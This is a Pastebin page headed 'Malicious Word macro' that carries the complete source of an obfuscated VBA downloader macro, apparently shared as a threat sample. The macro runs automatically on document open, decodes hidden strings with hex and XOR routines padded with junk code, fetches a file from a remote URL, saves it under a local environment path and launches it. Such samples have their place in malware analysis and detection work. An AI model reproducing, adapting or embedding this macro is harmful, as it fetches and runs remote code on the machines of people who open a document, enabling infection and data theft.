SHARE
TWEET

Malicious Word macro

dynamoo Dec 15th, 2014 232 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Public Function Hextostring(ByVal LIfBaRNaq As String) As String
  10. Dim bOYvqTVCQck As String
  11. Dim FNOMR As String
  12. Dim wDhutJNQ As Long
  13. For wDhutJNQ = 1 To Len(LIfBaRNaq) Step 2
  14. If 128918 = 128918 + 1 Then End
  15. If 3786 < 26 Then
  16. If 751819 = 751819 + 1 Then End
  17. If 3264 < 68 Then
  18.         MsgBox ("uQQmbkpk91")
  19. End If
  20. If Len("gCUNhpmZ4478") = Len("AfkPTCKQ") Then
  21.        MsgBox ("Error !!!")
  22. End If
  23.         MsgBox ("HplLmocL88")
  24.  
  25. End If
  26. If Len("gnJhlPff4992") = Len("izYUCJCG") Then
  27. If 453232 = 453232 + 1 Then End
  28. If 2346 < 12 Then
  29.         MsgBox ("tZGiCmps23")
  30. End If
  31. If Len("prksphdB3552") = Len("eRyRFxWn") Then
  32.        MsgBox ("Error !!!")
  33. End If
  34.        MsgBox ("Error !!!")
  35.  
  36. End If
  37. If 513385 = 513385 + 1 Then End
  38. If 1788 < 34 Then
  39.         MsgBox ("MdLJUEle65")
  40. End If
  41. If Len("zvFxcxRf2893") = Len("gGbyDpzx") Then
  42.        MsgBox ("Error !!!")
  43. End If
  44. bOYvqTVCQck = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(LIfBaRNaq, wDhutJNQ, 2)))
  45.  
  46.  
  47. If 679582 = 679582 + 1 Then End
  48. If 4764 < 49 Then
  49. If 988195 = 988195 + 1 Then End
  50. If 5892 < 13 Then
  51.         MsgBox ("PLjzMDno76")
  52. End If
  53. If Len("opFcKgjZ3694") = Len("zQEGxwNt") Then
  54.        MsgBox ("Error !!!")
  55. End If
  56.         MsgBox ("CLZiRzih72")
  57.  
  58. End If
  59. If Len("ttcDmMln2566") = Len("kwoxPUHO") Then
  60. If 768811 = 768811 + 1 Then End
  61. If 3344 < 68 Then
  62.         MsgBox ("LlhuNOmN91")
  63. End If
  64. If Len("aTqSHATq1946") = Len("AjrSPany") Then
  65.        MsgBox ("Error !!!")
  66. End If
  67.        MsgBox ("Error !!!")
  68.  
  69. End If
  70. If 312727 = 312727 + 1 Then End
  71. If 7138 < 44 Then
  72.         MsgBox ("fwJBAgAh17")
  73. End If
  74. If Len("vkytXtMV8243") = Len("kLWxnsEn") Then
  75.        MsgBox ("Error !!!")
  76. End If
  77. FNOMR = FNOMR & bOYvqTVCQck
  78.  
  79.  
  80. Next wDhutJNQ
  81. If 729678 = 729678 + 1 Then End
  82. If 3216 < 86 Then
  83. If 794514 = 794514 + 1 Then End
  84. If 3692 < 52 Then
  85.         MsgBox ("rtzipwlx84")
  86. End If
  87. If Len("sjCDNfRU3716") = Len("vUIxhzzH") Then
  88.        MsgBox ("Error !!!")
  89. End If
  90.         MsgBox ("bocnPvMm58")
  91.  
  92. End If
  93. If Len("CbWCINQG1818") = Len("JaPgdumj") Then
  94. If 749461 = 749461 + 1 Then End
  95. If 6217 < 59 Then
  96.         MsgBox ("clnhRiWt51")
  97. End If
  98. If Len("ZWzmHeVK6323") = Len("wxJSwpUl") Then
  99.        MsgBox ("Error !!!")
  100. End If
  101.        MsgBox ("Error !!!")
  102.  
  103. End If
  104. If 175442 = 175442 + 1 Then End
  105. If 6491 < 99 Then
  106.         MsgBox ("cLrzZuDD22")
  107. End If
  108. If Len("TtBUlBVV7515") = Len("JwOkIDwu") Then
  109.        MsgBox ("Error !!!")
  110. End If
  111. Hextostring = FNOMR
  112.  
  113.  
  114. End Function
  115.  
  116.  
  117. Sub Auto_Open()
  118. GoTo hpolxosipwleovqydqiijfmpmhadwhkijvlbokhmrnhlwrcbihvyiwnplgjfltwjtypwmbprbpunfrtvrl:
  119. hpolxosipwleovqydqiijfmpmhadwhkijvlbokhmrnhlwrcbihvyiwnplgjfltwjtypwmbprbpunfrtvrl:
  120. GoTo bfvcjnnjkjkvxctrntfoimlrjeyrtcbdbkdaxpratpwmmiosffuwjoxzowxecewxwdoypivotfbjbuxmul:
  121. bfvcjnnjkjkvxctrntfoimlrjeyrtcbdbkdaxpratpwmmiosffuwjoxzowxecewxwdoypivotfbjbuxmul:
  122. GoTo rkckdqbljfjtdbrryuwatebpsacldejdsschjsuavrcbpilzgevpmjxvcmfuzhozfprtuwyfedvshsetyf:
  123. rkckdqbljfjtdbrryuwatebpsacldejdsschjsuavrcbpilzgevpmjxvcmfuzhozfprtuwyfedvshsetyf:
  124. IOWZJGNTSGK
  125. End Sub
  126. Sub AutoOpen()
  127. GoTo zgjksfckvjbfupbfpqerjkfbyvhphicghmdzwyshljawbwgybalblihqmatttqiaxprnmitiumgzjglrmt:
  128. zgjksfckvjbfupbfpqerjkfbyvhphicghmdzwyshljawbwgybalblihqmatttqiaxprnmitiumgzjglrmt:
  129. GoTo ntkwgbazodnxlmngkssfvjdwvczwjxotblvzzropmwqzxlujflzjpazteectmrbvtqnnnqobmcyydrssnb:
  130. ntkwgbazodnxlmngkssfvjdwvczwjxotblvzzropmwqzxlujflzjpazteectmrbvtqnnnqobmcyydrssnb:
  131. GoTo ocgfmhrsimdpiyclijxwpjopjtlwjtopoyithnuojbvcaauwaavscrmxsabgqvemffbcddzhhdsvmnjfcp:
  132. ocgfmhrsimdpiyclijxwpjopjtlwjtopoyithnuojbvcaauwaavscrmxsabgqvemffbcddzhhdsvmnjfcp:
  133.     Auto_Open
  134. End Sub
  135. Sub Workbook_Open()
  136. GoTo fqugoppeeftaopjzsjmupsrtovfxedfgpecorppweusztfkzphwpfhofwhixfaghbmfkdwnsycrsvjrtly:
  137. fqugoppeeftaopjzsjmupsrtovfxedfgpecorppweusztfkzphwpfhofwhixfaghbmfkdwnsycrsvjrtly:
  138. GoTo heqkginwiaibyfsvwvqtxuitugennjoangyodyfcqziwybtnwvwtibwqomzimszrrprdgguukjywhbuygx:
  139. heqkginwiaibyfsvwvqtxuitugennjoangyodyfcqziwybtnwvwtibwqomzimszrrprdgguukjywhbuygx:
  140. GoTo psjngffkwvmdllnhrcbfqiugmqunvyccxewbrxqhmlfswjoulnrvcmkxsetiqqriaihnzvtulingjhehnf:
  141. psjngffkwvmdllnhrcbfqiugmqunvyccxewbrxqhmlfswjoulnrvcmkxsetiqqriaihnzvtulingjhehnf:
  142.     Auto_Open
  143. End Sub
  144. Function ZUWSBYDOTWV(ByVal FYAMZFQXNVI As String, ByVal CVUDEDVJFST As String) As Boolean
  145.      Dim VPBCRFOQENN As Object, LSFYHUDVCYR As Long, QSBXXUZTKRD As Long, MDLLXOKIXRV() As Byte
  146.  
  147. GoTo hjwiwiyeojxvawsanclcahyfrfgwjdikfsfnjazxovvouiysjoieyyyjvczcudqpbumdziyyzydjhmvmdd:
  148. hjwiwiyeojxvawsanclcahyfrfgwjdikfsfnjazxovvouiysjoieyyyjvczcudqpbumdziyyzydjhmvmdd:
  149. GoTo xwqdjsttofxtkraaybygbodqkprjcpmjlvvdoqvxaokuluhzjnnpkgyqmwfmtvooihxsiqkaoyssrerysn:
  150. xwqdjsttofxtkraaybygbodqkprjcpmjlvvdoqvxaokuluhzjnnpkgyqmwfmtvooihxsiqkaoyssrerysn:
  151. GoTo brfgzmzrcabwgbcfbtnfmhjqhazwlbtduyyfkhjhmcvjlqrnnuntxcjijgjcqvhnjmfvpgmywngwcdiybg:
  152. brfgzmzrcabwgbcfbtnfmhjqhazwlbtduyyfkhjhmcvjlqrnnuntxcjijgjcqvhnjmfvpgmywngwcdiybg:
  153.     Set VPBCRFOQENN = CreateObject(XORI(Hextostring("3F34193F254049193F253A331522"), Hextostring("7267417269")))
  154. GoTo fpvygztoabfyscyqmjxaakqwiwqpjfzgwplzmhryvptavvsitizcoqgammdhoraqpviudbameizhxxkfiw:
  155. fpvygztoabfyscyqmjxaakqwiwqpjfzgwplzmhryvptavvsitizcoqgammdhoraqpviudbameizhxxkfiw:
  156. GoTo fjuvxpaemzuawljcczrjcqncfqtadadckbfxynawdigwsmxxfdtoiyzyriibnsacdbvkbubskrjrvkujkg:
  157. fjuvxpaemzuawljcczrjcqncfqtadadckbfxynawdigwsmxxfdtoiyzyriibnsacdbvkbubskrjrvkujkg:
  158. GoTo atdgxcypqufobazqwfbzsdpphuexwbgmzrvveuqfuissqnqrjbvmoathximeitkzlsazxqlwrbwkegkczc:
  159. atdgxcypqufobazqwfbzsdpphuexwbgmzrvveuqfuissqnqrjbvmoathximeitkzlsazxqlwrbwkegkczc:
  160.     VPBCRFOQENN.Open XORI(Hextostring("00353B"), Hextostring("47706F634E")), FYAMZFQXNVI, False
  161. GoTo epeseeevnrzyaadmzsevtcsqluqvolrmjnixrzskpndwmoroasnxrummjcspjhcnelodnfpcezpisjevfv:
  162. epeseeevnrzyaadmzsevtcsqluqvolrmjnixrzskpndwmoroasnxrummjcspjhcnelodnfpcezpisjevfv:
  163. GoTo maokmvxjtqtpftqzvdrnngwsapudlcejlbqkuatexahbsfmqoicfoaivfabrltukeprqqvrfpvrejlgeqv:
  164. maokmvxjtqtpftqzvdrnngwsapudlcejlbqkuatexahbsfmqoicfoaivfabrltukeprqqvrfpvrejlgeqv:
  165. GoTo sjxdhcerkhefckeipoiiuyqtxyvinbyqezfovvlmrerfrqsyaywnotmvfernkainkhxraujtcwwztuqtrk:
  166. sjxdhcerkhefckeipoiiuyqtxyvinbyqezfovvlmrerfrqsyaywnotmvfernkainkhxraujtcwwztuqtrk:
  167.     VPBCRFOQENN.Send XORI(Hextostring("2B0F25162232"), Hextostring("4C596D54"))
  168.  
  169.  
  170. GoTo gvmsrorblqfnrjolulwwxmxgvzmrtfbbfaljljudjhbbxnovjreufhyrdxpzrsvoxlooybzlkvwnadubpr:
  171. gvmsrorblqfnrjolulwwxmxgvzmrtfbbfaljljudjhbbxnovjreufhyrdxpzrsvoxlooybzlkvwnadubpr:
  172. GoTo vkgymmqtvhsqigckerbehvgndmtviptwxefqeovgkmdywdtsxwgeztwteajsmnvgovickubtbjojchvavr:
  173. vkgymmqtvhsqigckerbehvgndmtviptwxefqeovgkmdywdtsxwgeztwteajsmnvgovickubtbjojchvavr:
  174. GoTo eefacwluvdsabkxksygzskpgnyxphqvqmjvybamguztrddgzxprzrdeiyiuhbpgfwrexfqimxjosfotycl:
  175. eefacwluvdsabkxksygzskpgnyxphqvqmjvybamguztrddgzxprzrdeiyiuhbpgfwrexfqimxjosfotycl:
  176.     MDLLXOKIXRV = VPBCRFOQENN.responseBody
  177.  
  178. GoTo oyvsqgqcyuwgtctubxrljpltcezjxtssqvblihttgpkbfekrxowacmwewceoaqxhdlotlqoquuaksqlcth:
  179. oyvsqgqcyuwgtctubxrljpltcezjxtssqvblihttgpkbfekrxowacmwewceoaqxhdlotlqoquuaksqlcth:
  180. GoTo dzhmmxhnfrasicvjjpseprigmeolanldvlihpwgoksljzgwoycrcitvhcaybislwhylvedsxyelioervvj:
  181. dzhmmxhnfrasicvjjpseprigmeolanldvlihpwgoksljzgwoycrcitvhcaybislwhylvedsxyelioervvj:
  182. GoTo isegyhulplxjpkfaqzstfxaboybyprklnkwzxoixqdexvibqjqqfvntdpjwopldzhmffbvvdvydebthefj:
  183. isegyhulplxjpkfaqzstfxaboybyprklnkwzxoixqdexvibqjqqfvntdpjwopldzhmffbvvdvydebthefj:
  184.     QSBXXUZTKRD = FreeFile
  185.     Open CVUDEDVJFST For Binary As #QSBXXUZTKRD
  186.     Put #QSBXXUZTKRD, , MDLLXOKIXRV
  187.     Close #QSBXXUZTKRD
  188. GoTo vdpicaomrghrizweyaaozmrwyiyrubxpytxwqedttfneypyxmwzolrkvrghzhcpvdovereglnjrdohqryu:
  189. vdpicaomrghrizweyaaozmrwyiyrubxpytxwqedttfneypyxmwzolrkvrghzhcpvdovereglnjrdohqryu:
  190. GoTo ngtplnbnislqtghybuwictiwrbvoddltxhtemlrbrltdyrcmoszexgadznluscjfpehkuhcvoouwavrtwv:
  191. ngtplnbnislqtghybuwictiwrbvoddltxhtemlrbrltdyrcmoszexgadznluscjfpehkuhcvoouwavrtwv:
  192. GoTo gwjszpofcnutwsbxmljtbuzrblemslyuiwjsilpkqhgvdmwohdyzopbtepgmqesyglpmmnbkpqghntgsfd:
  193. gwjszpofcnutwsbxmljtbuzrblemslyuiwjsilpkqhgvdmwohdyzopbtepgmqesyglpmmnbkpqghntgsfd:
  194.    
  195. GoTo byxsxnpghvnbvkrgcuhsgztkersubfntrrmtrcjdbemqbhuvetdyllrakpcaukdktlpyupnzytvynwldzz:
  196. byxsxnpghvnbvkrgcuhsgztkersubfntrrmtrcjdbemqbhuvetdyllrakpcaukdktlpyupnzytvynwldzz:
  197. GoTo cckqxskeypruwnmoemiyeejgtzmqhaaonszuqrucwwvahggyylevwcjiupfyjzqhzrvsrrqfpbsqtkaohq:
  198. cckqxskeypruwnmoemiyeejgtzmqhaaonszuqrucwwvahggyylevwcjiupfyjzqhzrvsrrqfpbsqtkaohq:
  199. GoTo rwxumqulzygtqkrwzfbqwfewutedetjeriydgckahepjhxcpztzzrnpepyfrngvfbxztxgufoefihmlxut:
  200. rwxumqulzygtqkrwzfbqwfewutedetjeriydgckahepjhxcpztzzrnpepyfrngvfbxztxgufoefihmlxut:
  201. Set hBBkbmop6VHJL = CreateObject(XORI(Hextostring("020A271C3D4C0300210E2B1330162B1F3F"), Hextostring("51624270")))
  202. GoTo zlbrmdtmprviueydvnhzltntlvfofmkntrjatbzfuxavnqxeasqawcqlnddunpozvflosmyvmvfrlwvkcw:
  203. zlbrmdtmprviueydvnhzltntlvfofmkntrjatbzfuxavnqxeasqawcqlnddunpozvflosmyvmvfrlwvkcw:
  204. GoTo cymkgaghrqzskhomptqembbmdowhzswsilmqxztokhksqucilnmcqlplntosnjpwpiizppkjdeaxupsqbc:
  205. cymkgaghrqzskhomptqembbmdowhzswsilmqxztokhksqucilnmcqlplntosnjpwpiizppkjdeaxupsqbc:
  206. GoTo sbawlclojhxparpakhmfucvtwinbxhjqqozqdofgmqiejtkkykqfzphrenmsqwmjekdxoeetrjwuemxnbh:
  207. sbawlclojhxparpakhmfucvtwinbxhjqqozqdofgmqiejtkkykqfzphrenmsqwmjekdxoeetrjwuemxnbh:
  208. hBBkbmop6VHJL.Open Environ(XORI(Hextostring("3C3F3A03"), Hextostring("687A7753"))) & XORI(Hextostring("1217092B0F0718371F1F133560362807"), Hextostring("4E535062"))
  209. GoTo zhbgddcmjsnilsugiepwecwcxltbxbjufbtgufsdjvftrhkrentmbfezatdpzztqsssichtcptvblraaxs:
  210. zhbgddcmjsnilsugiepwecwcxltbxbjufbtgufsdjvftrhkrentmbfezatdpzztqsssichtcptvblraaxs:
  211. GoTo iipgxjxthbjxifqrzxbojqmgpfqahonaeikufzxmtdozgioggaekervfdgvbuzkoumgelbasjdvpcmzutc:
  212. iipgxjxthbjxifqrzxbojqmgpfqahonaeikufzxmtdozgioggaekervfdgvbuzkoumgelbasjdvpcmzutc:
  213. GoTo zygtufihxcugogvxuetvxslpzbpcunbycgmjdickpmuxxndqhwvswlbiulydkhltbnyncpizuqgsjmcidn:
  214. zygtufihxcugogvxuetvxslpzbpcunbycgmjdickpmuxxndqhwvswlbiulydkhltbnyncpizuqgsjmcidn:
  215.      
  216. End Function
  217. Sub IOWZJGNTSGK()
  218. gGHBkj = XORI(Hextostring("1C3B2404757F5B2826593D3F00277E102A7F1E3C7F16263E5A2A2811"), Hextostring("744F50"))
  219. GoTo vswgmmnoquqmdzdukyxjdchijuhbcdgxsbrnikwqdcfhiwhzbjaoqluoidzajkwvumggfhftcrnozygzlx:
  220. vswgmmnoquqmdzdukyxjdchijuhbcdgxsbrnikwqdcfhiwhzbjaoqluoidzajkwvumggfhftcrnozygzlx:
  221. GoTo eqowyelsbrffhhlqqucltfylnpeftufafvjrzyvtgvjpzvpeyxbayzjytlyclyghuqmwumbcduprmiblyx:
  222. eqowyelsbrffhhlqqucltfylnpeftufafvjrzyvtgvjpzvpeyxbayzjytlyclyghuqmwumbcduprmiblyx:
  223. GoTo ruzhzqmkplaybaejhgnsgttcpypofokfkpmcawosbktnfsxibprcykuytpgkldhvrbktjpihhfuxhbdqoh:
  224. ruzhzqmkplaybaejhgnsgttcpypofokfkpmcawosbktnfsxibprcykuytpgkldhvrbktjpihhfuxhbdqoh:
  225.     ZUWSBYDOTWV gGHBkj, Environ(XORI(Hextostring("3E200501"), Hextostring("6A654851714A64"))) & XORI(Hextostring("11371B0A00123918220E001668143516"), Hextostring("4D734243414671"))
  226. End Sub
  227.  
  228. Public Function XORI(ByVal pThgwA As String, ByVal uTjbLtvPsxK As String) As String
  229. Dim qDrdEbaBjAmrQrC As Long
  230. If 197974 = 197974 + 1 Then End
  231. If 5669 < 12 Then
  232.  
  233. Dim rrsqtvVn As Integer
  234. rrsqtvVn = 1
  235. Do While rrsqtvVn < 83
  236. DoEvents: rrsqtvVn = rrsqtvVn + 1
  237. Loop
  238.  
  239.         MsgBox ("vBNHchZL92")
  240. End If
  241. If Len("GoACvBKz6529") = Len("jDtqUckI") Then
  242.  
  243. Dim ZsaeMBSl As Integer
  244. ZsaeMBSl = 6
  245. Do While ZsaeMBSl < 96
  246. DoEvents: ZsaeMBSl = ZsaeMBSl + 1
  247. Loop
  248.  
  249.        MsgBox ("Error !!!")
  250. End If
  251.  
  252. Dim llWAooaJ As Integer
  253. llWAooaJ = 4
  254. Do While llWAooaJ < 77
  255. DoEvents: llWAooaJ = llWAooaJ + 1
  256. Loop
  257.  
  258. For qDrdEbaBjAmrQrC = 1 To Len(pThgwA)
  259.  
  260. If 953497 = 953497 + 1 Then End
  261. If 6383 < 67 Then
  262.  
  263. Dim tMzCjwqZ As Integer
  264. tMzCjwqZ = 2
  265. Do While tMzCjwqZ < 53
  266. DoEvents: tMzCjwqZ = tMzCjwqZ + 1
  267. Loop
  268.  
  269.         MsgBox ("IlZTqywD49")
  270. End If
  271. If Len("CLQsIKEv7233") = Len("JspJACJS") Then
  272.  
  273. Dim HUocoJtv As Integer
  274. HUocoJtv = 8
  275. Do While HUocoJtv < 68
  276. DoEvents: HUocoJtv = HUocoJtv + 1
  277. Loop
  278.  
  279.        MsgBox ("Error !!!")
  280. End If
  281.  
  282. Dim qqtGMmtg As Integer
  283. qqtGMmtg = 3
  284. Do While qqtGMmtg < 94
  285. DoEvents: qqtGMmtg = qqtGMmtg + 1
  286. Loop
  287.  
  288. XORI = XORI & Chr(Asc(Mid(uTjbLtvPsxK, IIf(qDrdEbaBjAmrQrC Mod Len(uTjbLtvPsxK) <> 0, qDrdEbaBjAmrQrC Mod Len(uTjbLtvPsxK), Len(uTjbLtvPsxK)), 1)) Xor Asc(Mid(pThgwA, qDrdEbaBjAmrQrC, 1)))
  289.  
  290. Next qDrdEbaBjAmrQrC
  291. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top